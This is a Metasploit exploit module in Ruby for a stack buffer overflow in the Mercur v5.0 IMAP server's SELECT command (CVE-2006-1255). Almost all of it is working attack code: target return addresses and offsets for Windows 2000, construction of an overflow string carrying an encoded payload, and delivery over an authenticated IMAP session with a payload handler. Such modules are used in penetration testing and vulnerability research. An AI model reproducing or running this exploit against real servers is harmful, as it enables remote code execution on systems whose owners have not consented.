Mercur v5.0 IMAP SP3 SELECT Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Imap  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',  
'Description' => %q{  
Mercur v5.0 IMAP server is prone to a remotely exploitable   
stack-based buffer overflow vulnerability. This issue is due   
to a failure of the application to properly bounds check   
user-supplied data prior to copying it to a fixed size memory buffer.  
Credit to Tim Taylor for discover the vulnerability.  
},  
'Author' => [ 'Jacopo Cervini <acaro [at] jervus.it>' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2006-1255' ],  
[ 'OSVDB', '23950' ],  
[ 'BID', '17138' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 400,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
['Windows 2000 Server SP4 English', { 'Offset' => 126, 'Ret' => 0x13e50b42 }],  
['Windows 2000 Pro SP1 English', { 'Offset' => 127, 'Ret' => 0x1446e242 }],  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Mar 17 2006'))  
  
end  
  
def exploit  
sploit = "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"   
sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])   
sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)   
sploit << payload.encoded + rand_text_alpha_upper(453)   
  
info = connect_login   
  
if (info == true)  
print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)  
sock.put(sploit + "\r\n")  
else  
print_status("Not falling through with exploit")   
end  
  
handler  
disconnect  
end  
end  
`